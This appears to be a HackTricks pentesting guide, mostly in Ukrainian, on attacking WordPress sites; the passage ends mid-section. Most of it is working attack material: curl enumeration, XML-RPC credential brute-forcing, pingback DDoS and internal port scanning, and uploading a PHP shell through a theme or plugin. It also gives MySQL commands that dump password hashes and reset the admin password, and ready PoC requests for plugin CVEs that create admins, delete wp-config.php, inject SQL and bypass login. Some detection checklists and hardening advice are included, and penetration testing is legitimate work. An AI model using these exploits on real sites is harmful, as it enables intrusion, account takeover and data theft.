Wordpress
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
-
Uploaded файли зберігаються у:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Файли тем можна знайти в /wp-content/themes/, тож якщо ви зміните якийсь php у темі, щоб отримати RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: використовуючи theme twentytwelve ви можете отримати доступ до файлу 404.php за адресою: /wp-content/themes/twentytwelve/404.php
-
Ще одна корисна url-адреса може бути: /wp-content/themes/default/404.php
-
У wp-config.php можна знайти root-пароль бази даних.
-
Типові шляхи входу для перевірки: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.phplicense.txtмістить корисну інформацію, наприклад версію встановленого WordPress.wp-activate.phpвикористовується для процесу активації по email під час налаштування нового сайту WordPress.- Папки входу (можуть бути перейменовані, щоб сховати):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.php— файл, що реалізує функцію WordPress для передачі даних з HTTP як транспортом та XML як механізмом кодування. Цей тип комунікації був замінений WordPress REST API.- Папка
wp-content— головний каталог, де зберігаються plugins і themes. wp-content/uploads/— каталог, куди зберігаються файли, завантажені на платформу.wp-includes/— каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript-файли та віджети.wp-sitemap.xmlУ версіях WordPress 5.5 і вище WordPress генерує sitemap XML файл зі всіма публічними записами та публічно доступними типами записів і таксономіями.
Post exploitation
- Файл
wp-config.phpмістить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, ім’я користувача і пароль, authentication keys and salts, та префікс таблиць бази даних. Цей конфігураційний файл також можна використовувати для активації DEBUG-режиму, що може бути корисним при усуненні несправностей.
Права користувачів
- Administrator
- Editor: Публікує та керує своїми й чужими записами
- Author: Публікує і керує своїми записами
- Contributor: Пише і керує своїми записами, але не може їх публікувати
- Subscriber: Переглядає записи і редагує свій профіль
Passive Enumeration
Get WordPress version
Перевірте, чи можна знайти файли /license.txt або /readme.html
У вихідному коді сторінки (приклад з [https://wordpress.org/support/article/pages/]):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- CSS link файли
.png)
- JavaScript файли
.png)
Отримати плагіни
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Отримати теми
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Отримання версій загалом
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Активне перерахування
Plugins and Themes
Імовірно, ви не зможете знайти всі доступні Plugins and Themes. Щоб виявити їх усі, вам потрібно буде actively Brute Force a list of Plugins and Themes (на щастя, існують автоматизовані інструменти, які містять ці списки).
Користувачі
- ID Brute: Ви отримуєте дійсних користувачів з WordPress-сайту шляхом Brute Forcing ID користувачів:
curl -s -I -X GET http://blog.example.com/?author=1
Якщо відповіді — 200 або 30X, це означає, що id є дійсним. Якщо відповідь — 400, то id є недійсним.
- wp-json: Ви також можете спробувати отримати інформацію про користувачів, зробивши запит:
curl http://blog.example.com/wp-json/wp/v2/users
Ще один /wp-json/ endpoint, який може виявити деяку інформацію про користувачів:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Note that this endpoint only exposes users that have made a post. Будуть надані лише дані про користувачів, у яких ця функція увімкнена.
Also note that /wp-json/wp/v2/pages could leak IP addresses.
- Login username enumeration: Під час входу через
/wp-login.phpповідомлення відрізняється, вказуючи, чи username існує чи ні.
XML-RPC
If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Ви можете автоматизувати цей процес using this наприклад).
To see if it is active try to access to /xmlrpc.php and send this request:
Перевірка
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories або metaWeblog.getUsersBlogs — це деякі методи, які можна використовувати для brute-force credentials. Якщо ви знайдете будь-який із них, ви можете надіслати щось на кшталт:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Повідомлення “Incorrect username or password” у відповіді з кодом 200 має з’являтися, якщо облікові дані недійсні.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png)
.png)
Використовуючи правильні облікові дані, ви можете завантажити файл. У відповіді з’явиться шлях (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Також існує швидший спосіб брутфорсу облікових даних, використовуючи system.multicall, оскільки ви можете перевірити кілька комбінацій у одному запиті:
.png)
Обхід 2FA
Цей метод призначений для програм, а не для людей, і він старий, тому не підтримує 2FA. Отже, якщо у вас є дійсні облікові дані, але основний вхід захищено 2FA, ви можете зловживати xmlrpc.php, щоб увійти з цими обліковими даними, обходячи 2FA. Зверніть увагу, що ви не зможете виконати всі дії, доступні через консоль, але все ще можете отримати RCE, як Ippsec пояснює в https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS або сканування портів
Якщо ви знайдете метод pingback.ping у списку, ви можете змусити Wordpress відправити довільний запит на будь-який хост/порт.
Це можна використати, щоб змусити тисячі Wordpress сайтів звернутися до одного ресурсу (внаслідок чого в тому місці спричиниться DDoS), або ж використати його, щоб змусити Wordpress сканувати внутрішню мережу (можна вказати будь-який порт).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Якщо ви отримуєте faultCode зі значенням більше ніж 0 (17), це означає, що порт відкритий.
Зверніть увагу на використання system.multicall в попередньому розділі, щоб дізнатися, як зловживати цим методом для спричинення DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
This file usually exists under the root of the Wordpress site: /wp-cron.php
Коли цей файл accessed виконується «важкий» MySQL query, тому його можуть використовувати attackers для спричинення DoS.
Також, за замовчуванням, wp-cron.php викликається при кожному завантаженні сторінки (коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з великим трафіком може спричиняти проблеми (DoS).
Рекомендується відключити Wp-Cron і створити реальний cronjob на хості, який виконуватиме потрібні дії з регулярним інтервалом (без спричинення проблем).
/wp-json/oembed/1.0/proxy - SSRF
Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net and the Worpress site may make a request to you.
This is the response when it doesn’t work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Цей інструмент перевіряє, чи існує methodName: pingback.ping і шлях /wp-json/oembed/1.0/proxy, і якщо існують — намагається їх експлуатувати.
Автоматичні інструменти
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Отримати доступ, переписавши біт
Скоріше цікавинка, ніж реальна атака. У CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man можна було інвертувати 1 біт у будь-якому wordpress-файлі. Отже, можна було інвертувати позицію 5389 файлу /var/www/html/wp-includes/user.php, щоб NOPнути операцію NOT (!).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Панель RCE
Модифікація php з використовуваної теми (потрібні admin credentials)
Appearance → Theme Editor → 404 Template (праворуч)
Змініть вміст на php shell:
.png)
Шукайте в інтернеті, як отримати доступ до оновленої сторінки. У цьому випадку потрібно перейти за адресою: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Можна використати:
use exploit/unix/webapp/wp_admin_shell_upload
щоб отримати сесію.
Plugin RCE
PHP плагін
Може бути можливість завантажити .php файли як плагін.
Створіть ваш php backdoor, наприклад використовуючи:
.png)
Потім додайте новий плагін:
.png)
Завантажте плагін і натисніть Install Now:
.png)
Натисніть Procced:
.png)
Можливо, це нічого не покаже на перший погляд, але якщо перейти в Media, ви побачите, що ваш shell було завантажено:
.png)
Відкрийте його й ви побачите URL для виконання reverse shell:
.png)
Uploading and activating malicious plugin
Цей метод передбачає встановлення шкідливого плагіна, відомого як вразливий, і може бути використаний для отримання web shell. Процес виконується через WordPress dashboard наступним чином:
- Plugin Acquisition: плагін отримується з джерела на кшталт Exploit DB, наприклад here.
- Plugin Installation:
- Перейдіть у WordPress dashboard, далі
Dashboard > Plugins > Upload Plugin. - Завантажте zip-файл завантаженого плагіна.
- Plugin Activation: Після успішної інсталяції плагін потрібно активувати через dashboard.
- Exploitation:
- Після встановлення та активації плагіна “reflex-gallery” його можна експлуатувати, оскільки він відомий як вразливий.
- Metasploit framework надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши потрібні команди, можна встановити meterpreter session, що дає несанкціонований доступ до сайту.
- Варто зазначити, що це лише один із багатьох методів експлуатації WordPress сайту.
Контент містить ілюстрації, що показують кроки у WordPress dashboard для встановлення та активації плагіна. Однак важливо пам’ятати, що експлуатація вразливостей таким чином є незаконною і неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і тільки в легальному контексті, наприклад під час penetration testing за явного дозволу.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike — це скрипт, призначений для ескалації вразливості Cross-Site Scripting (XSS) до Remote Code Execution (RCE) або інших критичних вразливостей у WordPress. Для детальнішої інформації див. this post. Він забезпечує підтримку для WordPress версій 6.X.X, 5.X.X та 4.X.X і дозволяє:
- Privilege Escalation: Створює користувача в WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Завантажити ваш custom plugin (backdoor) у WordPress.
- (RCE) Built-In Plugin Edit: Редагувати built-in plugins у WordPress.
- (RCE) Built-In Theme Edit: Редагувати built-in themes у WordPress.
- (Custom) Custom Exploits: Кастомні експлойти для third-party WordPress plugins/themes.
Пост-експлуатація
Витягніть імена користувачів та паролі:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Змінити пароль admin:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Pentest плагінів Wordpress
Атакувальна поверхня
Розуміння того, як плагін Wordpress може відкривати функціональність, ключове для виявлення вразливостей. Нижче наведено пункти, у яких плагін може відкривати функціональність, а також приклади вразливих плагінів у this blog post.
wp_ajax
Один зі способів, яким плагін може відкривати функції для користувачів — через AJAX handlers. Вони можуть містити помилки в логіці, авторизації або аутентифікації. Більше того, часто ці функції базують автентифікацію та авторизацію на наявності wordpress nonce, який може бути у будь-якого автентифікованого користувача в інстанції Wordpress (незалежно від ролі).
Нижче — функції, які можуть використовуватися для експонування функції в плагіні:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Використання nopriv робить endpoint доступним для будь-яких користувачів (навіть неавторизованих).
Caution
Крім того, якщо функція лише перевіряє авторизацію користувача за допомогою функції
wp_verify_nonce, ця функція лише перевіряє, чи користувач авторизований, зазвичай вона не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями.
- REST API
Також можливо оприлюднити функції з wordpress, зареєструвавши REST API за допомогою функції register_rest_route:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback — це callback-функція, яка перевіряє, чи має конкретний користувач дозвіл викликати метод API.
Якщо використовується вбудована функція __return_true, вона просто пропустить перевірку прав користувача.
- Прямий доступ до php-файлу
Звісно, Wordpress використовує PHP, і файли всередині плагінів доступні напряму через веб. Тож якщо плагін відкриває вразливу функціональність, яка викликається просто при зверненні до файлу, вона буде експлуатована будь-яким користувачем.
Підміна REST через trusted-header (WooCommerce Payments ≤ 5.6.1)
Деякі плагіни реалізують скорочення «trusted header» для внутрішніх інтеграцій або реверс-проксі і потім використовують цей заголовок, щоб встановити контекст поточного користувача для REST-запитів. Якщо заголовок не пов’язаний криптографічно з запитом компонентом вище в стеку, нападник може підробити його і звертатися до привілейованих REST-маршрутів від імені адміністратора.
- Вплив: неавтентифікована ескалація привілеїв до адміністратора шляхом створення нового облікового запису адміністратора через core users REST route.
- Приклад заголовка:
X-Wcpay-Platform-Checkout-User: 1(примушує ID користувача 1, зазвичай перший обліковий запис адміністратора). - Зловживаний маршрут:
POST /wp-json/wp/v2/usersз масивом ролей із підвищеними привілеями.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Чому це працює
- Плагін відображає заголовок, контрольований клієнтом, у стан автентифікації й пропускає capability checks.
- WordPress core очікує capability
create_usersдля цього маршруту; хак плагіна обходить це, безпосередньо встановлюючи контекст поточного користувача з заголовка.
Очікувані ознаки успіху
- HTTP 201 із JSON-тілом, що описує створеного користувача.
- Новий адміністратор, видимий у
wp-admin/users.php.
Чекліст виявлення
- Шукайте за допомогою grep
getallheaders(),$_SERVER['HTTP_...'], або vendor SDKs, які читають кастомні заголовки для встановлення контексту користувача (наприклад,wp_set_current_user(),wp_set_auth_cookie()). - Перевірте REST-реєстрації на предмет привілейованих callback-ів, які не мають надійних перевірок
permission_callbackі натомість покладаються на заголовки запиту. - Шукайте використання функцій керування користувачами ядра (
wp_insert_user,wp_create_user) всередині REST-обробників, доступ до яких захищено лише значеннями заголовків.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_ and wp_ajax_nopriv_ hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:
- A capability check (e.g.
current_user_can()or at leastis_user_logged_in()), and - A CSRF nonce validated with
check_ajax_referer()/wp_verify_nonce(), and - Strict input sanitisation / validation.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Issues introduced by this snippet:
- Неавторизований доступ – зареєстровано хук
wp_ajax_nopriv_. - No nonce / capability check – будь-який відвідувач може звернутися до endpoint.
- Немає санітизації шляху – рядок, керований користувачем,
fontfamily, конкатенується зі шляхом файлової системи без фільтрації, дозволяючи класичний../../traversal.
Експлуатація
Атакуючий може видалити будь-який файл або директорію нижче базового каталогу uploads (зазвичай <wp-root>/wp-content/uploads/) відправивши один HTTP POST запит:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Іншими значущими цілями є .php файли плагінів/тем (щоб зламати security plugins) або правила .htaccess.
Detection checklist
- Будь-який
add_action( 'wp_ajax_nopriv_...')зворотний виклик (callback), який викликає файлові хелпери (copy(),unlink(),$wp_filesystem->delete(), тощо). - Конкатенація неочищених введених даних користувача в шляхи (шукайте
$_POST,$_GET,$_REQUEST). - Відсутність
check_ajax_referer()таcurrent_user_can()/is_user_logged_in().
Privilege escalation via stale role restoration and missing authorization (ASE “View Admin as Role”)
Many plugins implement a “view as role” or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on reset-for=<username> if the username appeared in an internal array $options['viewing_admin_as_role_are'], but performed neither a current_user_can() check nor a nonce verification before removing current roles and re-adding the saved roles from user meta _asenha_view_admin_as_original_roles:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Чому це можна експлуатувати
- Довіряє
$_REQUEST['reset-for']та опції плагіна без серверної авторизації. - Якщо користувач раніше мав вищі привілеї, збережені в
_asenha_view_admin_as_original_roles, і його знизили в правах, він може відновити їх, звернувшись до шляху скидання. - У деяких розгортаннях будь-який автентифікований користувач може ініціювати скидання для іншого імені користувача, яке все ще присутнє в
viewing_admin_as_role_are(некоректна перевірка авторизації).
Експлуатація (приклад)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
На вразливих збірках це видаляє поточні ролі і повторно додає збережені оригінальні ролі (наприклад, administrator), фактично підвищуючи привілеї.
Detection checklist
- Шукайте функції перемикання ролей, які зберігають “original roles” в user meta (наприклад,
_asenha_view_admin_as_original_roles). - Визначайте шляхи скидання/відновлення, які:
- Читають імена користувачів з
$_REQUEST/$_GET/$_POST. - Модифікують ролі через
add_role()/remove_role()безcurrent_user_can()таwp_verify_nonce()/check_admin_referer(). - Авторизують на основі масиву опцій плагіна (наприклад,
viewing_admin_as_role_are) замість перевірки capabilities актора.
Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
Деякі плагіни підключають допоміжні функції перемикання користувача до публічного init хука і визначають ідентичність із cookie, контрольованого клієнтом. Якщо код викликає wp_set_auth_cookie() без перевірки автентифікації, capability та дійсного nonce, будь-який неверифікований відвідувач може примусово залогінитися як довільний ID користувача.
Типовий вразливий патерн (спрощено з Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Чому це можна експлуатувати
- Публічний хук
initробить обробник доступним для unauthenticated користувачів (немає захистуis_user_logged_in()). - Ідентичність визначається cookie, яку можна змінити на боці клієнта (
original_user_id). - Прямий виклик
wp_set_auth_cookie($uid)авторизує запитувача як цього користувача без жодних перевірок capability/nonce.
Експлуатація (unauthenticated)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
Зауваги щодо WAF для WordPress/plugin CVEs
Загальні edge/server WAFs налаштовані на широкі шаблони (SQLi, XSS, LFI). Багато високовпливових WordPress/plugin вразливостей — це помилки логіки/auth специфічні для додатка, які виглядають як нешкідливий трафік, якщо движок не розуміє маршрути WordPress і семантику плагіна.
Offensive notes
- Target plugin-specific endpoints with clean payloads:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, custom file handlers, shortcodes. - Exercise unauth paths first (AJAX
nopriv, REST with permissivepermission_callback, public shortcodes). Default payloads often succeed without obfuscation. - Типові високовпливові випадки: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Не покладайтеся на generic WAF signatures для захисту plugin CVEs. Впроваджуйте application-layer, vulnerability-specific virtual patches або швидко оновлюйте.
- Надавайте перевагу positive-security перевіркам у коді (capabilities, nonces, strict input validation) над negative regex фільтрами.
Захист WordPress
Regular Updates
Переконайтеся, що WordPress, plugins і themes оновлені. Також підтвердіть, що автоматичне оновлення увімкнено в wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Також встановлюйте лише надійні плагіни та теми WordPress.
Security Plugins
Інші рекомендації
- Видаліть стандартного користувача admin
- Використовуйте надійні паролі та 2FA
- Періодично переглядайте права користувачів
- Обмежте кількість спроб входу, щоб запобігти Brute Force-атакам
- Перейменуйте файл
wp-admin.phpта дозволяйте доступ лише з внутрішньої мережі або з певних IP-адрес.
Неавторизований SQL Injection через недостатню валідацію (WP Job Portal <= 2.3.2)
Плагін WP Job Portal рекрутингу надав доступ до завдання savecategory, яке в кінцевому підсумку виконує наступний вразливий код всередині modules/category/model.php::validateFormData():
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Проблеми, викликані цим фрагментом:
- Unsanitised user input –
parentidнадходить безпосередньо з HTTP-запиту. - String concatenation inside the WHERE clause – відсутні
is_numeric()/esc_sql()/ prepared statement. - Unauthenticated reachability – хоча дія виконується через
admin-post.php, єдина перевірка — CSRF nonce (wp_verify_nonce()), який будь-який відвідувач може отримати зі сторінки, що містить шорткод[wpjobportal_my_resumes].
Експлуатація
- Отримати свіжий nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Впровадити довільний SQL, використовуючи
parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Відповідь розкриває результат інжектованого запиту або змінює базу даних, що підтверджує SQLi.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Інше завдання, downloadcustomfile, дозволяло відвідувачам завантажувати any file on disk через path traversal. Уразливий sink знаходиться в modules/customfield/model.php::downloadCustomUploadedFile():
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name контролюється атакуючим і конкатенується without sanitisation. Знову ж, єдиний бар’єр — CSRF nonce, який можна отримати зі сторінки резюме.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Сервер повертає вміст wp-config.php, leaking DB credentials and auth keys.
Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Багато тем/плагінів включають допоміжні скрипти “social login”, доступні через admin-ajax.php. Якщо неаутентифікована AJAX дія (wp_ajax_nopriv_…) довіряє ідентифікаторам, наданим клієнтом, коли дані провайдера відсутні, і потім викликає wp_set_auth_cookie(), це стає повним обходом автентифікації.
Типовий вразливий патерн (спрощено)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Чому це експлуатується
- Можливість доступу без автентифікації через admin-ajax.php (wp_ajax_nopriv_… action).
- Відсутні nonce/capability checks перед зміною стану.
- Відсутня перевірка провайдера OAuth/OpenID; гілка за замовчуванням приймає введення від нападника.
- get_user_by(‘email’, $_POST[‘id’]) з наступним викликом wp_set_auth_cookie($uid) аутентифікує запитувача як будь-яку існуючу email-адресу.
Експлуатація (unauthenticated)
- Передумови: attacker може дістатися до /wp-admin/admin-ajax.php і знає/вгадує дійсну електронну адресу користувача.
- Set provider to an unsupported value (or omit it) to hit the default branch and pass id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Очікувані ознаки успіху
- HTTP 200 з JSON тілом як-от {“status”:“success”,“message”:“Login successfully.”}.
- Set-Cookie: wordpress_logged_in_* для постраждалого користувача; подальші запити є автентифікованими.
Знаходження імені action
- Перевірте тему/плагін на наявність реєстрацій add_action(‘wp_ajax_nopriv_…’, ‘…’) в коді social login (наприклад, framework/add-ons/social-login/class-social-login.php).
- Grep на наявність wp_set_auth_cookie(), get_user_by(‘email’, …) всередині AJAX-обробників.
Контрольний список виявлення
- Веб-логи, що показують неавтентифіковані POST-запити до /wp-admin/admin-ajax.php з дією social-login та id=
. - Відповіді 200 із success JSON безпосередньо перед автентифікованим трафіком з тієї ж IP/User-Agent.
Зміцнення безпеки
- Не виводьте ідентичність з вхідних даних клієнта. Приймайте лише email/ID, які походять від валідованого токена/ID провайдера.
- Вимагайте CSRF nonces та перевірок capability навіть для допоміжних логін-функцій; уникайте реєстрації wp_ajax_nopriv_ якщо це не суворо необхідно.
- Валідуйте та перевіряйте OAuth/OIDC відповіді на сервері; відхиляйте відсутніх/недійсних провайдерів (без fallback до POST id).
- Розгляньте тимчасове відключення social login або віртуальне патчення на межі (блокування вразливої дії) до виправлення.
Виправлена поведінка (Jobmonster 4.8.0)
- Видалено небезпечний fallback із $_POST[‘id’]; $user_email має походити з перевірених гілок провайдера в switch($_POST[‘using’]).
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
Деякі плагіни відкривають REST-ендпоінти, які емісіюють повторно використовувані “connection keys” або tokens без перевірки capability викликача. Якщо маршрут автентифікується лише за вгадуваною атрибутом (наприклад, username) і не прив’язує ключ до користувача/сесії з перевірками capability, будь-який неавтентифікований атакуючий може створити ключ і викликати привілейовані дії (створення облікового запису admin, дії плагінів → RCE).
- Вразливий маршрут (приклад): sure-triggers/v1/connection/create-wp-connection
